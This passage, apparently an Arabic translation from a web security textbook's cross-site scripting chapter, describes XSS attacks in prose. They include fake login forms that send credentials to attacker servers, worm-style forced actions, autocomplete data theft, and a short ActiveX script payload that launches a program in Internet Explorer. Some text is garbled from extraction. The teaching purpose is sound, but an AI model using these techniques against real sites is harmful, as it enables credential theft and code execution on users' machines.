‫ﺗﺴُﺘﻀﺎﻑﺃﺣﻴﺎﻧﺎً ﻋﻠﻰ ﺧﺎﺩﻡ ﺧﺎﺭﺟﻲ( ﻟﺤﻘﻦ ﻣﺤﺘﻮﻯ ﻭﺗﺼﻔﺢ ﻣﻌُﻘﺪ ﻓﻲ ﺍﻟﻤﻮﻗﻊ‪.‬‬
‫ﺍﻟﻔﺼﻞﺍﻟﺜﺎﻧﻲ ﻋﺸﺮ‪-‬ﻣﻬﺎﺟﻤﺔ ﺍﻟﻤﺴﺘﺨﺪﻣﻴﻦ‪ :‬ﺍﻟﺒﺮﻣﺠﺔ ﺍﻟﻨﺼﻴﺔ ﻋﺒﺮ ﺍﻟﻤﻮﺍﻗﻊ‬ ‫‪444‬‬

‫ﻫﺬﺍﺍﻟﻨﻮﻉ ﻣﻦ ﺍﻟﻬﺠﻮﻡ ﻣﻌﺮﻭﻑ ﺑﺎﺳﻢﺍﻟﺘﺸﻮﻳﻪ ﺍﻻﻓﺘﺮﺍﺿﻲﻷﻥ ﺍﻟﻤﺤﺘﻮﻯ ﺍﻟﻔﻌﻠﻲ ﺍﻟﻤﺴُﺘﻀﺎﻑ ﻋﻠﻰ‬


‫ﺧﺎﺩﻡﺍﻟﻮﻳﺐ ﺍﻟﺨﺎﺹ ﺑﺎﻟﻬﺪﻑ ﻟﻢ ﻳﻌُﺪَﻝَّ‪ .‬ﻳﻮُﻟﺪَّ ﺍﻟﺘﺸﻮﻳﻪ ﻓﻘﻂ ﺑﺴﺒﺐ ﻛﻴﻔﻴﺔ ﻣﻌﺎﻟﺠﺔ ﺍﻟﺘﻄﺒﻴﻖ ﻭﻋﺮﺿﻪ‬
‫ﻟﻠﻤﺪﺧﻼﺕﺍﻟﻤﻘُﺪﻣَّﺔ ﻣﻦ ﺍﻟﻤﺴﺘﺨﺪﻡ‪.‬‬
‫ﺑﺎﻹﺿﺎﻓﺔﺇﻟﻰ ﺍﻟﺘﺨﺮﻳﺐ ﺍﻟﺘﺎﻓﻪ‪ ،‬ﻳﻤﻜﻦ ﺍﺳﺘﺨﺪﺍﻡ ﻫﺬﺍ ﺍﻟﻨﻮﻉ ﻣﻦ ﺍﻟﻬﺠﻤﺎﺕ ﻷﻏﺮﺍﺽ ﺇﺟﺮﺍﻣﻴﺔ‬
‫ﺧﻄﻴﺮﺓ‪.‬ﺗﺸﻮﻳﻪ ﻣﺼُﻤﻢ ﺑﺎﺣﺘﺮﺍﻓﻴﺔ‪ ،‬ﻳﺴُﻠﻢ ﺇﻟﻰ ﺍﻟﻤﺘﻠﻘﻲ ﺍﻟﻤﻨﺎﺳﺐ‪.‬‬

‫ﻭﻟﺪﻳﻬﻢ ﺭﻳﺎ‬
‫ﺯﻋﻨﻔﺔﺍﻟﻤﻬﺎﺟﻢ‬

‫ﺍﻟﺸﻜﻞ‪:6-12‬ﻫﺠﻮﻡ ﺗﺸﻮﻳﻪ ﺍﻓﺘﺮﺍﺿﻲ ﻳﺴﺘﻐﻞ ﺛﻐﺮﺓ ‪XSS‬‬

‫ﺣﻘﻦﻭﻇﺎﺉﻒ ﺣﺼﺎﻥ ﻃﺮﻭﺍﺩﺓ‬


‫ﻳﺘﺠﺎﻭﺯﻫﺬﺍ ﺍﻟﻬﺠﻮﻡ ﺍﻟﺘﺸﻮﻳﻪ ﺍﻻﻓﺘﺮﺍﺿﻲ‪ ،‬ﺇﺫ ﻳﺪُﺧﻞ ﻭﻇﺎﺉﻒ ﻓﻌﻠﻴﺔ ﺇﻟﻰ ﺍﻟﺘﻄﺒﻴﻖ ﺍﻟﻤﻌُﺮﺽّ ﻟﻠﺨﻄﺮ‪.‬‬
‫ﻭﺍﻟﻬﺪﻑﻫﻮ ﺧﺪﺍﻉ ﺍﻟﻤﺴﺘﺨﺪﻣﻴﻦ ﻭﺩﻓﻌﻬﻢ ﺇﻟﻰ ﺍﻟﻘﻴﺎﻡ ﺑﺄﻋﻤﺎﻝ ﻏﻴﺮ ﻣﺮﻏﻮﺏ ﻓﻴﻬﺎ‪ ،‬ﻣﺜﻞ ﺇﺩﺧﺎﻝ ﺑﻴﺎﻧﺎﺕ‬
‫ﺣﺴﺎﺳﺔﺗﻨُﻘﻞ ﻻﺣﻘﺎً ﺇﻟﻰ ﺍﻟﻤﻬُﺎﺟﻢ‪.‬‬

‫ﻛﻤﺎﻭﺻُﻒ ﻓﻲ ﺍﻟﻬﺠﻮﻡ ﻋﻠﻰ ‪ ،Apache‬ﻓﺈﻥ ﺍﻟﻬﺠﻮﻡ ﺍﻟﻮﺍﺿﺢ ﺍﻟﺬﻱ ﻳﺘﻀﻤﻦ ﻭﻇﺎﺉﻒ ﻣﻀُﺎﻓﺔ ﻫﻮ‬
‫ﺗﺰﻭﻳﺪﺍﻟﻤﺴﺘﺨﺪﻣﻴﻦ ﺑﻨﻤﻮﺫﺝ ﺗﺴﺠﻴﻞ ﺩﺧﻮﻝ ﻣﺰُﻭﺭَّ ﻳﺮُﺳﻞ ﺑﻴﺎﻧﺎﺕ ﺍﻋﺘﻤﺎﺩﻫﻢ ﺇﻟﻰ ﺧﺎﺩﻡ ﻳﺴُﻴﻄﺮ ﻋﻠﻴﻪ‬
‫ﺍﻟﻤﻬﺎﺟﻢ‪.‬ﺇﺫﺍ ﻧﻔُﺬِّ ﺍﻟﻬﺠﻮﻡ ﺑﻤﻬﺎﺭﺓ‪ ،‬ﻓﻘﺪ ﻳﺴُﺠﻞِّ ﺩﺧﻮﻝ ﺍﻟﻤﺴﺘﺨﺪﻡ ﺑﺴﻼﺳﺔ ﺇﻟﻰ ﺍﻟﺘﻄﺒﻴﻖ ﺍﻟﺤﻘﻴﻘﻲ‪،‬‬
‫ﺑﺤﻴﺚﻻ ﻳﻜﺘﺸﻒ ﺃﻱ ﺧﻠﻞ ﻓﻲ ﺗﺠﺮﺑﺘﻪ‪ .‬ﻋﻨﺪﺉﺬ‪ ٍ،‬ﻳﻜﻮﻥ ﺍﻟﻤﻬﺎﺟﻢ ﺣﺮﺍً ﻓﻲ ﺍﺳﺘﺨﺪﺍﻡ ﺑﻴﺎﻧﺎﺕ ﺍﻋﺘﻤﺎﺩ‬
‫ﺍﻟﻀﺤﻴﺔﻷﻏﺮﺍﺿﻪ ﺍﻟﺨﺎﺻﺔ‪ .‬ﻫﺬﺍ ﺍﻟﻨﻮﻉ ﻣﻦ ﺍﻟﺤﻤﻮﻟﺔ ﻳﻬُﻴﺊ ﺑﺸﻜﻞ ﺟﻴﺪ ﻟﻬﺠﻤﺎﺕ ﺍﻟﺘﺼﻴﺪ ﺍﻻﺣﺘﻴﺎﻟﻲ‪،‬‬
‫ﺣﻴﺚﻳﺰُﻭﺩَّ ﺍﻟﻤﺴﺘﺨﺪﻣﻮﻥ ﺑﻌﻨﻮﺍﻥ ‪ URL‬ﻣﺼُﻤﻢَّ ﻣﺴﺒﻘﺎً ﺩﺍﺧﻞ ﺍﻟﺘﻄﺒﻴﻖ ﺍﻷﺻﻠﻲ‪ ،‬ﻭﻳﻨُﺼﺤﻮﻥ‬
‫ﺑﺘﺴﺠﻴﻞﺍﻟﺪﺧﻮﻝ ﻛﺎﻟﻤﻌﺘﺎﺩ ﻟﻠﻮﺻﻮﻝ ﺇﻟﻴﻪ‪.‬‬

‫ﻣﻦﺍﻟﻬﺠﻤﺎﺕ ﺍﻟﻮﺍﺿﺤﺔ ﺍﻷﺧﺮﻯ ﻣﻄﺎﻟﺒﺔ ﺍﻟﻤﺴﺘﺨﺪﻣﻴﻦ ﺑﺈﺩﺧﺎﻝ ﺗﻔﺎﺻﻴﻞ ﺑﻄﺎﻗﺎﺗﻬﻢ ﺍﻻﺉﺘﻤﺎﻧﻴﺔ‪،‬‬


‫ﻋﺎﺩﺓ ًﻣﻊ ﻋﺮﺽ ﻣﻐﺮ‪ ٍ.‬ﻋﻠﻰ ﺳﺒﻴﻞ ﺍﻟﻤﺜﺎﻝ‪ ،‬ﻳﻮﺿﺢ ﺍﻟﺸﻜﻞ ‪ 7-12‬ﻫﺠﻮﻣﺎً ﺗﺠﺮﻳﺒﻴﺎً ﻃﻮﺭّﻩ ﺟﻴﻢ ﻟﻲ‪،‬‬
‫ﻣﺴﺘﻐﻼًﺛﻐﺮﺓ ‪ XSS‬ﻣﻨﻌﻜﺴﺔ ﻋﺜُﺮ ﻋﻠﻴﻬﺎ ﻓﻲ ﺟﻮﺟﻞ ﻋﺎﻡ ‪.2004‬‬
‫ﺍﻟﺸﻜﻞ‪:7-12‬ﻫﺠﻮﻡ ‪ XSS‬ﻣﻨﻌﻜﺲ ﻳﺤﻘﻦ ﻭﻇﻴﻔﺔ ﺣﺼﺎﻥ ﻃﺮﻭﺍﺩﺓ‬

‫ﺗﺸﻴﺮﻋﻨﺎﻭﻳﻦ ‪ URL‬ﻓﻲ ﻫﺬﻩ ﺍﻟﻬﺠﻤﺎﺕ ﺇﻟﻰ ﺍﺳﻢ ﺍﻟﻨﻄﺎﻕ ﺍﻷﺻﻠﻲ ﻟﻠﺘﻄﺒﻴﻖ ﺍﻟﻔﻌﻠﻲ‪ ،‬ﻣﻊ ﺷﻬﺎﺩﺓ‬
‫‪ SSL‬ﺳﺎﺭﻳﺔ ﺍﻟﻤﻔﻌﻮﻝ ﻋﻨﺪ ﺍﻻﻗﺘﻀﺎء‪ .‬ﻟﺬﻟﻚ‪ ،‬ﻣﻦ ﺍﻟﻤﺮﺟﺢ ﺃﻥ ﺗﻘُﻨﻊ ﻫﺬﻩ ﺍﻟﻬﺠﻤﺎﺕ ﺍﻟﻀﺤﺎﻳﺎ ﺑﺘﻘﺪﻳﻢ‬
‫ﻣﻌﻠﻮﻣﺎﺕﺣﺴﺎﺳﺔ‪ ،‬ﻣﻘﺎﺭﻧﺔ ًﺑﻤﻮﺍﻗﻊ ﺍﻟﺘﺼﻴﺪ ﺍﻻﺣﺘﻴﺎﻟﻲ ﺍﻟﺒﺤﺘﺔ ﺍﻟﻤﺴُﺘﻀﺎﻓﺔ ﻋﻠﻰ ﻧﻄﺎﻕ ﻣﺨﺘﻠﻒ‪،‬‬
‫ﻭﺍﻟﺘﻲﺗﻜﺘﻔﻲ ﺑﻨﺴﺦ ﻣﺤﺘﻮﻯ ﺍﻟﻤﻮﻗﻊ ﺍﻟﻤﺴﺘﻬﺪﻑ‪.‬‬

‫ﺗﺤﻔﻴﺰﺇﺟﺮﺍءﺍﺕ ﺍﻟﻤﺴﺘﺨﺪﻡ‬
‫ﺇﺫﺍﺍﺧﺘﺮﻕ ﻣﻬﺎﺟﻢ ﺟﻠﺴﺔ ﺿﺤﻴﺔ‪ ،‬ﻓﻴﻤﻜﻨﻪ ﺍﺳﺘﺨﺪﺍﻡ ﺍﻟﺘﻄﺒﻴﻖ "ﺑﺼﻔﺘﻪ" ﺫﻟﻚ ﺍﻟﻤﺴﺘﺨﺪﻡ ﻭﺗﻨﻔﻴﺬ ﺃﻱ‬
‫ﺇﺟﺮﺍءﻧﻴﺎﺑﺔ ًﻋﻨﻪ‪ .‬ﻭﻣﻊ ﺫﻟﻚ‪ ،‬ﻗﺪ ﻻ ﻳﻜﻮﻥ ﻫﺬﺍ ﺍﻟﻨﻬﺞ ﻓﻲ ﺗﻨﻔﻴﺬ ﺇﺟﺮﺍءﺍﺕ ﻋﺸﻮﺍﺉﻴﺔ ﻣﺮﻏﻮﺑﺎً ﻓﻴﻪ ﺩﺍﺉﻤﺎً‪.‬‬
‫ﻓﻬﻮﻳﺘﻄﻠﺐ ﻣﻦ ﺍﻟﻤﻬﺎﺟﻢ ﻣﺮﺍﻗﺒﺔ ﺧﺎﺩﻣﻪ ﺍﻟﺨﺎﺹ ﺑﺤﺜﺎً ﻋﻦ ﻋﻤﻠﻴﺎﺕ ﺇﺭﺳﺎﻝ ﺭﻣﻮﺯ ﺟﻠﺴﺔ ﻣﺴُﺠﻠَّﺔ ﻣﻦ‬
‫ﺍﻟﻤﺴﺘﺨﺪﻣﻴﻦﺍﻟﻤﺨُﺘﺮﻗﻴﻦ‪ .‬ﻛﻤﺎ ﻳﺠﺐ ﻋﻠﻴﻪ ﺗﻨﻔﻴﺬ ﺍﻹﺟﺮﺍء ﺫﻱ ﺍﻟﺼﻠﺔ ﻧﻴﺎﺑﺔ ًﻋﻦ ﻛﻞ ﻣﺴﺘﺨﺪﻡ‪ .‬ﺇﺫﺍ‬
‫ﺗﻌﺮﺽﺍﻟﻌﺪﻳﺪ ﻣﻦ ﺍﻟﻤﺴﺘﺨﺪﻣﻴﻦ ﻟﻠﻬﺠﻮﻡ‪ ،‬ﻓﻘﺪ ﻳﻜﻮﻥ ﻫﺬﺍ ﻏﻴﺮ ﻋﻤﻠﻲ‪ .‬ﻋﻼﻭﺓ ًﻋﻠﻰ ﺫﻟﻚ‪ ،‬ﻓﺈﻧﻪ ﻳﺘﺮﻙ‬
‫ﺃﺛﺮﺍًﻏﻴﺮ ﺧﻔﻲ ﻓﻲ ﺳﺠﻼﺕ ﺍﻟﺘﻄﺒﻴﻖ‪ ،‬ﻭﺍﻟﺬﻱ ﻳﻤﻜﻦ ﺍﺳﺘﺨﺪﺍﻣﻪ ﺑﺴﻬﻮﻟﺔ ﻟﺘﺤﺪﻳﺪ ﺟﻬﺎﺯ ﺍﻟﻜﻤﺒﻴﻮﺗﺮ‬
‫ﺍﻟﻤﺴﺆﻭﻝﻋﻦ ﺍﻹﺟﺮﺍءﺍﺕ ﻏﻴﺮ ﺍﻟﻤﺼﺮﺡ ﺑﻬﺎ ﺃﺛﻨﺎء ﺍﻟﺘﺤﻘﻴﻖ‪.‬‬
‫ﺍﻟﻔﺼﻞﺍﻟﺜﺎﻧﻲ ﻋﺸﺮ‪-‬ﻣﻬﺎﺟﻤﺔ ﺍﻟﻤﺴﺘﺨﺪﻣﻴﻦ‪ :‬ﺍﻟﺒﺮﻣﺠﺔ ﺍﻟﻨﺼﻴﺔ ﻋﺒﺮ ﺍﻟﻤﻮﺍﻗﻊ‬ ‫‪446‬‬

‫ﻛﺒﺪﻳﻞﻻﺧﺘﻄﺎﻑ ﺍﻟﺠﻠﺴﺔ‪ ،‬ﺣﻴﺚ ﻳﺮﻏﺐ ﺍﻟﻤﻬﺎﺟﻢ ﺑﺒﺴﺎﻃﺔ ﻓﻲ ﺗﻨﻔﻴﺬ ﻣﺠﻤﻮﻋﺔ ﻣﺤﺪﺩﺓ ﻣﻦ‬
‫ﺍﻹﺟﺮﺍءﺍﺕﻧﻴﺎﺑﺔ ًﻋﻦ ﻛﻞ ﻣﺴﺘﺨﺪﻡ ﻣﺨُﺘﺮﻕ‪ ،‬ﻳﺘﻤﺜﻞ ﻓﻲ ﺍﺳﺘﺨﺪﺍﻡ ﻧﺺ ﺣﻤﻮﻟﺔ ﺍﻟﻬﺠﻮﻡ ﻧﻔﺴﻪ ﻟﺘﻨﻔﻴﺬ‬
‫ﻫﺬﻩﺍﻹﺟﺮﺍءﺍﺕ‪ .‬ﺗﻌُﺪ ﺣﻤﻮﻟﺔ ﺍﻟﻬﺠﻮﻡ ﻫﺬﻩ ﻣﻔﻴﺪﺓ ًﺑﺸﻜﻞ ﺧﺎﺹ ﻓﻲ ﺍﻟﺤﺎﻻﺕ ﺍﻟﺘﻲ ﻳﺮﻏﺐ ﻓﻴﻬﺎ‬
‫ﺍﻟﻤﻬﺎﺟﻢﺑﺘﻨﻔﻴﺬ ﺇﺟﺮﺍء ﻳﺘﻄﻠﺐ ﺻﻼﺣﻴﺎﺕ ﺇﺩﺍﺭﻳﺔ‪ ،‬ﻣﺜﻞ ﺗﻌﺪﻳﻞ ﺍﻷﺫﻭﻧﺎﺕ ﺍﻟﻤﺨُﺼﺼﺔ ﻟﺤﺴﺎﺏ ﻳﺘﺤﻜﻢ‬
‫ﻓﻴﻪ‪.‬ﻣﻊ ﻭﺟﻮﺩ ﻗﺎﻋﺪﺓ ﻣﺴﺘﺨﺪﻣﻴﻦ ﻛﺒﻴﺮﺓ‪ ،‬ﺳﻴﻜﻮﻥ ﻣﻦ ﺍﻟﺼﻌﺐ ﺍﺧﺘﺮﺍﻕ ﺟﻠﺴﺔ ﻛﻞ ﻣﺴﺘﺨﺪﻡ ﻭﺍﻟﺘﺄﻛﺪ‬
‫ﻣﻦﺃﻥ ﺍﻟﻀﺤﻴﺔ ﻣﺪﻳﺮ‪ .‬ﺃﻣﺎ ﺍﻟﻨﻬﺞ ﺍﻷﻛﺜﺮ ﻓﻌﺎﻟﻴﺔ ﻓﻬﻮ ﺣﺚ ﻛﻞ ﻣﺴﺘﺨﺪﻡ ﻣﺨُﺘﺮﻕ ﻋﻠﻰ ﻣﺤﺎﻭﻟﺔ ﺗﺮﻗﻴﺔ‬
‫ﺍﻷﺫﻭﻧﺎﺕﻋﻠﻰ ﺣﺴﺎﺏ ﺍﻟﻤﻬﺎﺟﻢ‪ .‬ﺳﺘﻔﺸﻞ ﻣﻌﻈﻢ ﺍﻟﻤﺤﺎﻭﻻﺕ‪ ،‬ﻭﻟﻜﻦ ﺑﻤﺠﺮﺩ ﺍﺧﺘﺮﺍﻕ ﻣﺴﺘﺨﺪﻡ‬
‫ﺇﺩﺍﺭﻱ‪،‬ﻳﻨﺠﺢ ﺍﻟﻤﻬﺎﺟﻢ ﻓﻲ ﺗﺼﻌﻴﺪ ﺍﻟﺼﻼﺣﻴﺎﺕ‪ .‬ﻭﺻُﻔﺖ ﻃﺮﻕ ﺣﺚ ﺍﻟﻤﺴﺘﺨﺪﻣﻴﻦ ﺍﻵﺧﺮﻳﻦ ﻋﻠﻰ‬
‫ﺍﻟﻘﻴﺎﻡﺑﺈﺟﺮﺍءﺍﺕ ﻧﻴﺎﺑﺔ ًﻋﻨﻬﻢ ﻓﻲ ﻗﺴﻢ "ﺗﺰﻭﻳﺮ ﺍﻟﻄﻠﺒﺎﺕ" ﻓﻲ ﺍﻟﻔﺼﻞ ‪.13‬‬

‫ﺩﻭﺩﺓ‪ MySpace XSS‬ﺍﻟﻤﺬﻛﻮﺭﺓ ﺳﺎﺑﻘﺎً ﻫﻲ ﻣﺜﺎﻝ ﻋﻠﻰ ﻫﺬﺍ ﺍﻟﻨﻮﻉ ﻣﻦ ﺍﻟﻬﺠﻤﺎﺕ‪ .‬ﺗﻮﺿﺢ ﻫﺬﻩ‬
‫ﺍﻟﺪﻭﺩﺓﻗﺪﺭﺓ ﻫﺬﺍ ﺍﻟﻨﻮﻉ ﻣﻦ ﺍﻟﻬﺠﻤﺎﺕ ﻋﻠﻰ ﺗﻨﻔﻴﺬ ﺇﺟﺮﺍءﺍﺕ ﻏﻴﺮ ﻣﺼﺮﺡ ﺑﻬﺎ ﻧﻴﺎﺑﺔ ًﻋﻦ ﻗﺎﻋﺪﺓ‬
‫ﻣﺴﺘﺨﺪﻣﻴﻦﺿﺨﻤﺔ ﺑﺄﻗﻞ ﺟﻬﺪ ﻣﻤﻜﻦ ﻣﻦ ﺍﻟﻤﻬﺎﺟﻢ‪ .‬ﺍﺳﺘﺨﺪﻡ ﻫﺬﺍ ﺍﻟﻬﺠﻮﻡ ﺳﻠﺴﻠﺔ ﻣﻌﻘﺪﺓ ﻣﻦ‬
‫ﺍﻟﻄﻠﺒﺎﺕﺑﺎﺳﺘﺨﺪﺍﻡ ﺗﻘﻨﻴﺎﺕ ‪) Ajax‬ﺍﻟﻤﻮﺿﺤﺔ ﻓﻲ ﺍﻟﻔﺼﻞ ‪ (3‬ﻟﺘﻨﻔﻴﺬ ﺍﻹﺟﺮﺍءﺍﺕ ﺍﻟﻤﺨﺘﻠﻔﺔ ﺍﻟﻼﺯﻣﺔ‬
‫ﻻﻧﺘﺸﺎﺭﺍﻟﺪﻭﺩﺓ‪.‬‬
‫ﻳﻤﻜﻦﻟﻠﻤﻬﺎﺟﻢ‪ ،‬ﺍﻟﺬﻱ ﻳﺴﺘﻬﺪﻑ ﺍﻟﺘﻄﺒﻴﻖ ﻧﻔﺴﻪ ﺑﺸﻜﻞ ﺃﺳﺎﺳﻲ‪ ،‬ﻭﺍﻟﺬﻱ ﻳﺮﻏﺐ ﻓﻲ ﺍﻟﺘﺨﻔﻲ ﻗﺪﺭ‬
‫ﺍﻹﻣﻜﺎﻥ‪،‬ﺍﺳﺘﻐﻼﻝ ﻫﺬﺍ ﺍﻟﻨﻮﻉ ﻣﻦ ﺣﻤﻮﻟﺔ ﻫﺠﻮﻡ ‪ XSS‬ﻟﺪﻓﻊ ﻣﺴﺘﺨﺪﻣﻴﻦ ﺁﺧﺮﻳﻦ ﺇﻟﻰ ﺗﻨﻔﻴﺬ ﻫﺠﻤﺎﺕ‬
‫ﺧﺒﻴﺜﺔﻣﻦ ﺍﺧﺘﻴﺎﺭﻩ ﺿﺪ ﺍﻟﺘﻄﺒﻴﻖ‪ .‬ﻋﻠﻰ ﺳﺒﻴﻞ ﺍﻟﻤﺜﺎﻝ‪ ،‬ﻳﻤﻜﻦ ﻟﻠﻤﻬﺎﺟﻢ ﺃﻥ ﻳﺪﻓﻊ ﻣﺴﺘﺨﺪﻣﺎً ﺁﺧﺮ ﺇﻟﻰ‬
‫ﺍﺳﺘﻐﻼﻝﺛﻐﺮﺓ ﺣﻘﻦ ‪ SQL‬ﻹﺿﺎﻓﺔ ﻣﺴﺆﻭﻝ ﺟﺪﻳﺪ ﺇﻟﻰ ﺟﺪﻭﻝ ﺣﺴﺎﺑﺎﺕ ﺍﻟﻤﺴﺘﺨﺪﻣﻴﻦ ﺩﺍﺧﻞ ﻗﺎﻋﺪﺓ‬
‫ﺍﻟﺒﻴﺎﻧﺎﺕ‪.‬ﺳﻴﺘﺤﻜﻢ ﺍﻟﻤﻬﺎﺟﻢ ﻓﻲ ﺍﻟﺤﺴﺎﺏ ﺍﻟﺠﺪﻳﺪ‪ ،‬ﻭﻟﻜﻦ ﺃﻱ ﻓﺤﺺ ﻟﺴﺠﻼﺕ ﺍﻟﺘﻄﺒﻴﻖ ﻗﺪ ﻳﻈُﻬﺮ ﺃﻥ‬
‫ﻣﺴﺘﺨﺪﻣﺎًﺁﺧﺮ ﻫﻮ ﺍﻟﻤﺴﺆﻭﻝ‪.‬‬

‫ﺍﺳﺘﻐﻼﻝﺃﻱ ﻋﻼﻗﺎﺕ ﺛﻘﺔ‬


‫ﻟﻘﺪﺭﺃﻳﺖ َﺑﺎﻟﻔﻌﻞ ﻋﻼﻗﺔ ﺛﻘﺔ ﻣﻬﻤﺔ ﻗﺪ ﻳﺴﺘﻐﻠﻬﺎ ‪ :XSS‬ﺗﺜﻖ ﺍﻟﻤﺘﺼﻔﺤﺎﺕ ﺑﻤﻠﻔﺎﺕ ‪JavaScript‬‬
‫ﺍﻟﻮﺍﺭﺩﺓﻣﻦ ﻣﻮﻗﻊ ﺇﻟﻜﺘﺮﻭﻧﻲ ﺑﺎﺳﺘﺨﺪﺍﻡ ﻣﻠﻔﺎﺕ ﺗﻌﺮﻳﻒ ﺍﻻﺭﺗﺒﺎﻁ ﺍﻟﺼﺎﺩﺭﺓ ﻋﻨﻪ‪ .‬ﻳﻤﻜﻦ ﺃﺣﻴﺎﻧﺎً ﺍﺳﺘﻐﻼﻝ‬
‫ﺍﻟﻌﺪﻳﺪﻣﻦ ﻋﻼﻗﺎﺕ ﺍﻟﺜﻘﺔ ﺍﻷﺧﺮﻯ ﻓﻲ ﻫﺠﻮﻡ ‪:XSS‬‬

‫ﺇﺫﺍﻛﺎﻥ ﺍﻟﺘﻄﺒﻴﻖ ﻳﺴﺘﺨﺪﻡ ﻧﻤﺎﺫﺝ ﻣﻔُﻌﻠّﺔ ﺍﻹﻛﻤﺎﻝ ﺍﻟﺘﻠﻘﺎﺉﻲ‪ ،‬ﻓﻴﻤﻜﻦ ﻟﺠﺎﻓﺎ ﺳﻜﺮﻳﺒﺖ ﺍﻟﻤﺼُﺪﺭ‬ ‫‪-‬‬

‫ﻣﻦﺍﻟﺘﻄﺒﻴﻖ ﺍﻟﺘﻘﺎﻁ ﺃﻱ ﺑﻴﺎﻧﺎﺕ ﻣﺪُﺧﻠﺔ ﻣﺴُﺒﻘﺎً ﺧﺰﻧّﻬﺎ ﻣﺘﺼﻔﺢ ﺍﻟﻤﺴﺘﺨﺪﻡ ﻓﻲ ﺫﺍﻛﺮﺓ ﺍﻟﺘﺨﺰﻳﻦ‬
‫ﺍﻟﻤﺆﻗﺖﻟﻺﻛﻤﺎﻝ ﺍﻟﺘﻠﻘﺎﺉﻲ‪ .‬ﻣﻦ ﺧﻼﻝ ﺇﻧﺸﺎء ﻧﻤﻮﺫﺝ ﻣﻄُﺎﺑﻖ‪ ،‬ﻭﺍﻧﺘﻈﺎﺭ ﺍﻟﻤﺘﺼﻔﺢ ﻹﻛﻤﺎﻝ‬
‫ﻣﺤﺘﻮﻳﺎﺗﻪﺗﻠﻘﺎﺉﻴﺎً‪ ،‬ﺛﻢ ﺍﻻﺳﺘﻌﻼﻡ ﻋﻦ ﻗﻴﻢ ﺣﻘﻮﻝ ﺍﻟﻨﻤﻮﺫﺝ‪ ،‬ﻗﺪ ﻳﺘﻤﻜﻦ ﺍﻟﺒﺮﻧﺎﻣﺞ ﺍﻟﻨﺼﻲ ﻣﻦ‬
‫ﺳﺮﻗﺔﻫﺬﻩ ﺍﻟﺒﻴﺎﻧﺎﺕ ﻭﻧﻘﻠﻬﺎ ﺇﻟﻰ ﺧﺎﺩﻡ ﺍﻟﻤﻬُﺎﺟﻢ‪ .‬ﻳﻤُﻜﻦ ﺃﻥ ﻳﻜﻮﻥ ﻫﺬﺍ ﺍﻟﻬﺠﻮﻡ ﺃﻗﻮﻯ ﻣﻦ ﺣﻘﻦ‬
‫ﻭﻇﺎﺉﻒﺃﺣﺼﻨﺔ ﻃﺮﻭﺍﺩﺓ‪ ،‬ﺇﺫ ﻳﻤُﻜﻦ ﺍﻟﺘﻘﺎﻁ ﺍﻟﺒﻴﺎﻧﺎﺕ ﺍﻟﺤﺴﺎﺳﺔ ﺩﻭﻥ ﺍﻟﺤﺎﺟﺔ ﺇﻟﻰ ﺃﻱ ﺗﺪﺧﻞ‬
‫ﻣﻦﺍﻟﻤﺴﺘﺨﺪﻡ‪.‬‬

‫ﺗﻮﺻﻲﺑﻌﺾ ﺗﻄﺒﻴﻘﺎﺕ ﺍﻟﻮﻳﺐ ﺍﻟﻤﺴﺘﺨﺪﻣﻴﻦ‪ ،‬ﺃﻭ ﺗﻄﻠﺐ ﻣﻨﻬﻢ‪ ،‬ﺇﺿﺎﻓﺔ ﺍﺳﻢ ﻧﻄﺎﻗﻬﻢ ﺇﻟﻰ‬ ‫‪-‬‬

‫ﻣﻨﻄﻘﺔ"ﺍﻟﻤﻮﺍﻗﻊ ﺍﻟﻤﻮﺛﻮﻗﺔ" ﻓﻲ ﻣﺘﺼﻔﺤﺎﺗﻬﻢ‪ .‬ﻫﺬﺍ ﺃﻣﺮ ﻏﻴﺮ ﻣﺮﻏﻮﺏ ﻓﻴﻪ ﻓﻲ ﺃﻏﻠﺐ ﺍﻷﺣﻴﺎﻥ‪،‬‬
‫ﻭﻳﻌﻨﻲﺇﻣﻜﺎﻧﻴﺔ ﺍﺳﺘﻐﻼﻝ ﺃﻱ ﺧﻠﻞ ﻣﻦ ﻧﻮﻉ ‪ XSS‬ﻟﺘﻨﻔﻴﺬ ﻫﺠﻤﺎﺕ‪.‬‬
‫‪447‬‬ ‫ﺍﻟﻔﺼﻞﺍﻟﺜﺎﻧﻲ ﻋﺸﺮ‪-‬ﻣﻬﺎﺟﻤﺔ ﺍﻟﻤﺴﺘﺨﺪﻣﻴﻦ‪ :‬ﺍﻟﺒﺮﻣﺠﺔ ﺍﻟﻨﺼﻴﺔ ﻋﺒﺮ ﺍﻟﻤﻮﺍﻗﻊ‬

‫ﺗﻨﻔﻴﺬﺗﻌﻠﻴﻤﺎﺕ ﺑﺮﻣﺠﻴﺔ ﻋﺸﻮﺍﺉﻴﺔ ﻋﻠﻰ ﺟﻬﺎﺯ ﺍﻟﻤﺴﺘﺨﺪﻡ ﺍﻟﻀﺤﻴﺔ‪ .‬ﻋﻠﻰ ﺳﺒﻴﻞ ﺍﻟﻤﺜﺎﻝ‪ ،‬ﺇﺫﺍ‬
‫ﻛﺎﻥﻣﻮﻗﻊ ﻳﻌﻤﻞ ﺿﻤﻦ ﻣﻨﻄﻘﺔ "ﺍﻟﻤﻮﺍﻗﻊ ﺍﻟﻤﻮﺛﻮﻗﺔ" ﻓﻲ ﻣﺘﺼﻔﺢ ‪،Internet Explorer‬‬
‫ﻓﺈﻥﺇﺩﺧﺎﻝ ﺍﻟﺘﻌﻠﻴﻤﺎﺕ ﺍﻟﺒﺮﻣﺠﻴﺔ ﺍﻟﺘﺎﻟﻴﺔ ﻳﺆﺩﻱ ﺇﻟﻰ ﺗﺸﻐﻴﻞ ﺑﺮﻧﺎﻣﺞ ﺣﺎﺳﺒﺔ ‪ Windows‬ﻋﻠﻰ‬
‫ﺟﻬﺎﺯﺍﻟﻤﺴﺘﺨﺪﻡ‪:‬‬

‫>ﺍﻟﻨﺺ<‬
‫;('‪var o = new ActiveXObject)'WScript.shell'(; o.Run)'calc.exe‬‬

‫<‪>/script‬‬

‫ﻏﺎﻟﺒﺎًﻣﺎ ﺗﺴﺘﺨﺪﻡ ﺗﻄﺒﻴﻘﺎﺕ ﺍﻟﻮﻳﺐ ﻋﻨﺎﺻﺮ ﺗﺤﻜﻢ ‪ ActiveX‬ﺗﺤﺘﻮﻱ ﻋﻠﻰ ﺃﺳﺎﻟﻴﺐ ﻓﻌﺎّﻟﺔ )ﺍﻧﻈﺮ‬ ‫‪-‬‬

